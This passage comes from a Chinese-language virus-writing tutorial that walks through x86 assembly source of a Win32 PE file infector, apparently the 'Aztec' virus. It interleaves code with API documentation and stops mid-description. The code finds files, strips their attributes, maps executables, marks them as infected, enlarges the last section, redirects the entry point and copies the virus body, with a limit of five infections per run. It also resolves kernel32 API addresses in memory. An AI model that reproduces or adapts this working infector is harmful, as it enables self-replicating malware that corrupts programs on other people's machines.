路径有一个缺省的字符大小限制MAX_PATH。这个限制取决于FindFirst函数怎么分析路径。
; 一个应用程序可以超过这个限制并可以通过调用宽(W)版本的FindFirstFile函数并预先考虑
; "//?/"来传给超过MAX_PATH的路径。"//?/"告诉了函数关闭路径解析;它使得路径长于MAX_PATH
; 可以被FindFirstFileW函数使用。这个还可以对UNC名有效。"//?/"被作为路径的一部分
; 忽略掉了。例如,"//?/C:/myworld/private"被看成"C:/myworld/private", 而
; "//?/UNC/bill_g_1/hotstuff/coolapps"被看成"//bill_g_1/hotstuff/coolapps"。
;
; ?lpFindFileData: 指向于WIN32_FIND_DATA 结构来接受关于找到的文件或目录。这个
; 结构可以在随后的调用FindNextFile 或 FindClose 函数中引用文件或子目录。
;
; 返回值
; =====
;
; ?如果函数成功调用了,返回值是一个搜索句柄,在随后的调用FindNextFile 或 FindClose
; 时用到。
;
; ?如果函数失败了,返回值是INVALID_HANDLE_VALUE。为了获得详细的错误信息,调用
; 函数。
;
; 所以,现在你知道了FindFirstFile函数的所有参数了。而且,现在你知道了下面代码块
; 的最后一行了:)
;---------------------------------------------------------------------------
__1: push dword ptr [ebp+OldEIP] ; 保存 OldEIP 和 ModBase,
push dword ptr [ebp+ModBase] ; 感染时改变
call Infection ; 感染找到的文件
pop dword ptr [ebp+ModBase] ; 恢复它们
pop dword ptr [ebp+OldEIP]
inc byte ptr [ebp+infections] ; 增加计数器
cmp byte ptr [ebp+infections],05h ; 超过限制啦?
jz FailInfect ; 该死...
;---------------------------------------------------------------------------
; 我们所做的第一件事是保存了一些必须的变量的内容,它们在后面我们返回控制权给主体的
; 时候用到,但是这些变量在感染文件的时候改变了是很痛苦的。我们调用感染例程:它仅
; 需要WFD信息,所以我们不必给它传参数了。在感染完相关的文件后,我们把值再改回来。
; 在做完那个以后,我们增加感染计数器,并检查我们是否已经感染了5个文件了(这个病毒
; 的感染限制)。如果我们已经做完了那些事情,病毒从感染函数中退出。
;---------------------------------------------------------------------------
__2: lea edi,[ebp+WFD_szFileName] ; 指向文件名的指针
mov ecx,MAX_PATH ; ECX = 260
xor al,al ; AL = 00
rep stosb ; 清除旧的文件名变量
lea eax,[ebp+offset WIN32_FIND_DATA] ; 指向 WFD的指针
push eax ; 把它压栈
push dword ptr [ebp+SearchHandle] ; Push Search Handle
call [ebp+_FindNextFileA] ; 寻找另外一个文件
or eax,eax ; 失败?
jnz __1 ; 没有, 感染另外一个
CloseSearchHandle:
push dword ptr [ebp+SearchHandle] ; Push search handle
call [ebp+_FindClose] ; 关闭它
FailInfect:
ret
;---------------------------------------------------------------------------
; 代码块的开始部分做一个简单的事情:它抹掉在WFD结构(校验文件名数据)里的数据。
; 这样做是为了在寻找另外一个文件的时候避免出问题。我们下一步要做的是调用
; FindNextFile这个API函数。下面是这个API的描述:
;
; FindNextFile 函数继续以前调用的FindFirstFile函数来继续搜索一个文件 。
;
; BOOL FindNextFile(
; HANDLE hFindFile, // 要搜索的句柄
; LPWIN32_FIND_DATA lpFindFileData // 指向保存找到文件的数据的结构
; );
;
; 参数
; ====
;
; ?hFindfile: 识别由先前的调用FindFirstFile函数返回的搜索句柄。
;
; ?lpFindFileData: 指向一个WIN32_FIND_DATA 结构,用来接受关于找到的文件或子目录
; 的信息。这个结构可以在随后的调用FindNextFile时引用来寻找文件或目录。
;
; 返回值
; ======
;
; ?如果函数调用成功,返回值是非零值。
;
; ?如果函数调用成功,返回值是0。为了获得详细的错误信息,调用GetLastError。
;
; ?如果没有匹配的文件,GetLastError函数会返回ERROR_NO_MORE_FILES。
;
; 如果FindNextFile返回错误,或者如果病毒已经到达了可能感染的最大文件数,我们到了
; 这个例程的最后一块。它由通过FindClose这个API来关闭搜索句柄组成。照常,下面是
; 这个API的描述:
;
; FindClose函数关闭指定的搜索句柄。FindFirstFile 和 FindNextFile 函数使用这个
; 句柄来用匹配给定的名字来定位文件。
;
; BOOL FindClose(
; HANDLE hFindFile // 文件搜索句柄
; );
;
;
; 参数
; ====
;
; ?hFindfile: 识别搜索句柄。这个句柄必须是由FindFirstFile函数已经打开的。
;
; 返回值
; ======
;
; ?如果函数调用成功,返回值是非0值。
;
; ?如果函数调用失败,返回值是0。为了获得详细的错误信息,调用GetLastError
; ;
;---------------------------------------------------------------------------
Infection:
lea esi,[ebp+WFD_szFileName] ; 获得要感染的文件名
push 80h
push esi
call [ebp+_SetFileAttributesA] ; 清除它的属性
call OpenFile ; 打开它
inc eax ; 如果 EAX = -1, 就有一个错误
jz CantOpen
dec eax
mov dword ptr [ebp+FileHandle],eax
;---------------------------------------------------------------------------
; 我们首先做的是清除文件的属性,并把它们设置为"正常文件"。这是通过SetFileAttributes
; 这个API来实现的。下面给出这个API的简要介绍:
;
; SetFileAttributes 函数 设置一个文件的属性。
;
; BOOL SetFileAttributes(
; LPCTSTR lpFileName, // 文件名的地址
; DWORD dwFileAttributes // 要设置的属性的地址
; );
;
; 参数
; ====
;
; ?lpFileName: 指向一个保存要修改属性的文件的文件名字符串。
;
; ?dwFileAttributes: 指定要设置的文件的属性。这个参数可以为下面的值的组合。然而,
; 所有的其它的值超越FILE_ATTRIBUTE_NORMAL
;
; 返回值
; ======
;
; ?如果函数调用成功,返回值是非0值。
;
; ?如果函数调用失败,返回值是0。为了获得详细的错误信息,调用GetLastError
;
; 在我们设置了新的文件属性之后,我们打开了文件,而且,如果没有任何错误发生,它把
; 句柄保存到它的变量中。
;---------------------------------------------------------------------------
mov ecx,dword ptr [ebp+WFD_nFileSizeLow] ; 首先我们用它的正确大小创建映射
call CreateMap
or eax,eax
jz CloseFile
mov dword ptr [ebp+MapHandle],eax
mov ecx,dword ptr [ebp+WFD_nFileSizeLow]
call MapFile ; 映射它
or eax,eax
jz UnMapFile
mov dword ptr [ebp+MapAddress],eax
;---------------------------------------------------------------------------
; 首先我们给ECX赋我们打算要映射的文件的大小,然后我们调用我们的函数来映射它。
; 我们检查可能的错误,如果没有任何错误,我们继续,否则,我们关闭文件。然后我们
; 保存映射句柄,并准备最终利用MapFile函数来映射它。还象以前那样,我们检查错误,
; 决定相应的处理。如果所有的都做好了,我们保存映射起作用的地址。
;---------------------------------------------------------------------------
mov esi,[eax+3Ch]
add esi,eax
cmp dword ptr [esi],"EP" ; 它是PE吗?
jnz NoInfect
cmp dword ptr [esi+4Ch],"CTZA" ; 它被感染了吗?
jz NoInfect
push dword ptr [esi+3Ch]
push dword ptr [ebp+MapAddress] ; 关闭所有
call [ebp+_UnmapViewOfFile]
push dword ptr [ebp+MapHandle]
call [ebp+_CloseHandle]
pop ecx
;---------------------------------------------------------------------------
; 当我们在EAX中得到了开始映射的地址,我们刷新指向PE头(MapAddress+3Ch)的指针,
; 然后我们规范化它,所以在ESI中我们将得到指向PE头的指针。总之我们检查它是否OK,
; 所以我们检查PE签名。在那个检查之后,我们检查文件是否在以前感染过了(我们在PE的
; 偏移地址4Ch处保存了一个标记,程序从来不会用的),如果它没有,我们继续感染过程。
; 我们保存他们,在堆栈中 ,文件对齐(看看PE头那一章)。而且在那之后,我们解除映射,
; 并关闭映射句柄。最终我们从堆栈恢复文件对齐(File Alignment),把它存在ECX寄存器中。
;---------------------------------------------------------------------------
mov eax,dword ptr [ebp+WFD_nFileSizeLow] ; 再次映射
add eax,virus_size
call Align
xchg ecx,eax
call CreateMap
or eax,eax
jz CloseFile
mov dword ptr [ebp+MapHandle],eax
mov ecx,dword ptr [ebp+NewSize]
call MapFile
or eax,eax
jz UnMapFile
mov dword ptr [ebp+MapAddress],eax
mov esi,[eax+3Ch]
add esi,eax
;---------------------------------------------------------------------------
; 当我们在ECX(准备'Align'函数,因为它需要在ECX中的对齐因子)中得到了文件对齐,我们
; 给EAX赋打开的文件大小加上病毒大小(EAX是要对齐的数量),然后我们调用'Align'函数,
; 它在EAX中返回给我们对齐的数字。例如,如果对齐(Alignment)是200h,而且文件大小+
; 病毒大小是12345h,'Align'函数将会返回给我们的数字将会是12400h。然后我们把对齐数字
; 保存到ECX中。我们再次调用CreateMap函数,但是现在我们用对齐后的大小来映射文件。
; 在这之后,我们再次使ESI指向PE头。
;---------------------------------------------------------------------------
mov edi,esi ; EDI = ESI = Ptr to PE header
movzx eax,word ptr [edi+06h] ; AX = n?of sections
dec eax ; AX--
imul eax,eax,28h ; EAX = AX*28
add esi,eax ; Normalize
add esi,78h ; Ptr to dir table
mov edx,[edi+74h] ; EDX = n?of dir entries
shl edx,3 ; EDX = EDX*8
add esi,edx ; ESI = Ptr to last section
;---------------------------------------------------------------------------
; 首先我们也使EDI指向PE头。然后,我们给AX赋节的个数(一个WORD类型的数),并使它
; 减1。然后我们把AX(n,节数-1)乘以28h(节头的大小),把它再加上PE头的偏移地址。使ESI
; 指向目录表,在EDX中得到目录入口点的数目。然后我们把它乘以8,最后把结果(在EDX中)
; 加到ESI,所以ESI将指到最后一节。
;---------------------------------------------------------------------------
mov eax,[edi+28h] ; 获得 EP
mov dword ptr [ebp+OldEIP],eax ; 保存它
mov eax,[edi+34h] ; 获得 imagebase
mov dword ptr [ebp+ModBase],eax ; 保存它
mov edx,[esi+10h] ; EDX = SizeOfRawData
mov ebx,edx ; EBX = EDX
add edx,[esi+14h] ; EDX = EDX+PointerToRawData
push edx ; 保存 EDX
mov eax,ebx ; EAX = EBX
add eax,[esi+0Ch] ; EAX = EAX+VA 地址
; EAX = 新 EIP
mov [edi+28h],eax ; 改变新的 EIP
mov dword ptr [ebp+NewEIP],eax ; 还保存它
;---------------------------------------------------------------------------
; 首先我们给EAX赋我们正在感染的文件的EIP值,为了后面把旧EIP赋给一个变量,将会在
; 病毒(你将会看到)的开始用到。我们对基址同样这么做。然后,我们给EDX赋最后一节的
; 的SizeOfRawData赋给EDX,再赋给EDX,然后,我们把EDX加上PointerToRawData(EDX
; 将在复制病毒的时候用到所以我们把它保存到堆栈中)。在这之后,我们给EAX赋SizeOfRawData,
; 把它加上VA地址 :所以我们在EAX中得到的是主体的新EIP。所以我们把它保存在它的PE头
; 的域中,并保存在另外一个变量中(看看病毒的开始处)。
;---------------------------------------------------------------------------
mov eax,[esi+10h] ; EAX = 新的 SizeOfRawData
add eax,virus_size ; EAX = EAX+VirusSize
mov ecx,[edi+3Ch] ; ECX = FileAlignment(文件对齐)
call Align ; 对齐!
mov [esi+10h],eax ; 新的 SizeOfRawData
mov [esi+08h],eax ; 新的 VirtualSize
pop edx ; EDX = 指向节尾的原始指针
mov eax,[esi+10h] ; EAX = 新的 SizeOfRawData
add eax,[esi+0Ch] ; EAX = EAX+VirtualAddress
mov [edi+50h],eax ; EAX = 新的 SizeOfImage
or dword ptr [esi+24h],0A0000020h ; 设置新的节标志
;---------------------------------------------------------------------------
; Ok, 我们做的第一件事是把最后一节的SizeOfRawData装载到EAX中,然后把病毒的大小
; 加上它。在 ECX中,我们装载FileAlignment,我们调用'Align'函数,所以在EAX中,
; 我们将得到对齐后的SizeOfRawData+VirusSize。
; 让我们看看一个小例子:
;
; SizeOfRawData - 1234h
; VirusSize - 400h
; FileAlignment - 200h
;
; 所以,SizeOfRawData + VirusSize 将为1634,在对那个值对齐之后将为1800h。简单,哈?
; 所以我们把对齐后的值设为新的SizeOfRawData并作为新的VirtualSize,这样做之后我们
; 将没有问题了,我们计算新的SizeOfImage,也就是说,新的SizeOfRawData和VirtualAddress
; 的和。在计算完这个之后,我们把它保存到PE头的SizeOfImage域中(偏移50h处)。然后,
; 我们按如下设置节的属性:
;
; 00000020h - 节包含代码
; 40000000h - 节可读
; 80000000h - 节可写
;
; 所以,如果我们要应用这三个属性只要把那3个值或(OR)即可,结果将是A0000020h。
; 所以,我们还要把他和节的当前属性值进行或,这样我们不必删除旧的:只要加上它们。
;---------------------------------------------------------------------------
mov dword ptr [edi+4Ch],"CTZA" ; 设置感染标志
lea esi,[ebp+aztec] ; ESI = 指向 virus_start 的指针
xchg edi,edx ; EDI = 指向最后一节结尾的指针
;
add edi,dword ptr [ebp+MapAddress] ; EDI = 规范化后指针
mov ecx,virus_size ; ECX = 要复制的大小
rep movsb ; 做它!
jmp UnMapFile ; 解除映射, 关闭, 等等.
;---------------------------------------------------------------------------
; 为了避免重复感染文件我们现在所做的首先是在PE头没有用过地方设置感染的标志(偏移
; 4Ch是保留的)。然后,在ESI中放一个指向病毒开始的指针。在我们把EDX的值赋给ESI
; (记住:EDX=旧的 SizeOfRawData+PointerToRawData)之后,那就是我们放置病毒代码
; 的RVA。正如我已经说过了,它是一个RVA,这一点你必须知道;)RVA必须转换成VA,
; 这是通过把RVA加上相对值实现的... 所以,它和开始映射文件的地址(如果你还记得,它是
; 由MapViewOfFile这个API返回的)相关。所以,最后,在EDI中我们得到的是写病毒代码的
; VA。在ECX中,我们装入病毒的大小,并复制。所有都做好了!:)现在我们关闭所有...
;---------------------------------------------------------------------------
NoInfect:
dec byte ptr [ebp+infections]
mov ecx,dword ptr [ebp+WFD_nFileSizeLow]
call TruncFile
;---------------------------------------------------------------------------
; 在感染的时候,如果有什么错误发生,我们就到了这个地方。我们把感染计数器减1,把文件
; 截去感染之前的大小。我希望我们的病毒不会到达这个地方:)
;---------------------------------------------------------------------------
UnMapfile:
push dword ptr [ebp+MapAddress] ; 关闭映射的地址
call [ebp+_UnmapViewOfFile]
CloseMap:
push dword ptr [ebp+MapHandle] ; 关闭映射
call [ebp+_CloseHandle]
Closefile:
push dword ptr [ebp+FileHandle] ; 关闭文件
call [ebp+_CloseHandle]
CantOpen:
push dword ptr [ebp+WFD_dwFileAttributes]
lea eax,[ebp+WFD_szFileName] ; 设置原先文件的的属性
push eax
call [ebp+_SetFileAttributesA]
ret
;---------------------------------------------------------------------------
; 这块代码集中于关闭在感染的时候打开的所有东西:映射地址,映射自身,文件,随后把
; 原先的属性设置回去。
; 让我们看看这里用到的API:
;
; UnmapViewOfFile 函数从调用进程的地址空间中解除文件的映射。
;
; BOOL UnmapViewOfFile(
; LPCVOID lpBaseAddress // 开始映射的地址
; );
;
; 参数
; ====
;
; ?lpBaseAddress: 指向要解除映射的文件的基址。这个值必须是由先前调用MapViewOfFile
; 或MapViewOfFileEx函数返回的值。
;
; 返回值
; =====
;
; ?如果函数调用成功,返回值是非0值,而且所有指定范围内的页将会标志"lazily"。
;
; ?如果函数调用失败,返回值是0。为了获得详细的错误信息,调用GetLastError函数。
;
; ---
;
; CloseHandle 函数关闭一个打开对象的句柄。
;
; BOOL CloseHandle(
; HANDLE hObject // 要关闭对象的句柄
; );
;
; 参数
; ====
;
; ?hObject: 指一个打开对象的句柄。
;
; 返回值
; ======
;
; ?如果函数调用成功,返回值是非0值。
; ?如果函数调用失败,返回值是0。想要获得详细的错误信息,调用GetLastError。
;
;---------------------------------------------------------------------------
GetK32 proc
_@1: cmp word ptr [esi],"ZM"
jz WeGotK32
_@2: sub esi,10000h
loop _@1
WeFailed:
mov ecx,cs
xor cl,cl
jecxz WeAreInWNT
mov esi,kernel_
jmp WeGotK32
WeAreInWNT:
mov esi,kernel_wNT
WeGotK32:
xchg eax,esi
ret
GetK32 endp
GetAPIs proc
@@1: push esi
push edi
call GetAPI
pop edi
pop esi
stosd
xchg edi,esi
xor al,al
@@2: scasb
jnz @@2
xchg edi,esi
@@3: cmp byte ptr [esi],0BBh
jnz @@1
ret
GetAPIs endp
GetAPI proc
mov edx,esi
mov edi,esi
xor al,al
@_1: scasb
jnz @_1
sub edi,esi ; EDI = API 的名字大小
mov ecx,edi
xor eax,eax
mov esi,3Ch
add esi,[ebp+kernel]
lodsw
add eax,[ebp+kernel]
mov esi,[eax+78h]
add esi,1Ch
add esi,[ebp+kernel]
lea edi,[ebp+AddressTableVA]
lodsd
add eax,[ebp+kernel]
stosd
lodsd
add eax,[ebp+kernel]
push eax ; mov [NameTableVA],eax =)
stosd
lodsd
add eax,[ebp+kernel]
stosd
pop esi
xor ebx,ebx
@_3: lodsd
push esi
add eax,[ebp+kernel]
mov esi,eax
mov edi,edx
push ecx
cld
rep cmpsb
pop ecx
jz @_4
pop esi
inc ebx
jmp @_3
@_4:
pop esi
xchg eax,ebx
shl eax,1
add eax,dword ptr [ebp+OrdinalTableVA]
xor esi,esi
xchg eax,esi
lodsw
shl eax,2
add eax,dword ptr [ebp+AddressTableVA]
mov esi,eax
lodsd
add eax,[ebp+kernel]
ret
GetAPI endp
;---------------------------------------------------------------------------
; 上面所有的代码以前已经见过了,这里是有了一点点优化,所以你可以看看你自己用其它
; 方法该怎么做。
;---------------------------------------------------------------------------
; 输入:
; EAX - 对齐的值
; ECX - 对齐因子
; 输出:
; EAX - 对齐值
Align proc
push edx
xor edx,edx
push eax
div ecx
pop eax
sub ecx,edx
add eax,ecx
pop edx
ret
Align endp
;---------------------------------------------------------------------------
; 这个函数执行在PE感染中非常重要的一件事情:把数字和指定的因子对齐。如果你不是
; 一个d0rk,你就不必问我它是怎么工作的了。( Fuck,你到底学了没有?)
;---------------------------------------------------------------------------
; 输入:
; ECX - 要截的文件
; 输出:
; 无.
TruncFile proc
xor eax,eax
push eax
push eax
push ecx
push dword ptr [ebp+FileHandle]
call [ebp+_SetFilePointer]
push dword ptr [ebp+FileHandle]
call [ebp+_SetEndOfFile]
ret
TruncFile endp
;---------------------------------------------------------------------------
; SetFilePointer 使文件指针指向一个打开的文件。
;
; DWORD SetFilePointer(
; HANDLE hFile, // 文件的句柄
; LONG lDistanceToMove, // 需要移动文件指针的字节数
; PLONG lpDistanceToMoveHigh, // 要移动距离的高位字
;
; DWORD dwMoveMethod // 怎么移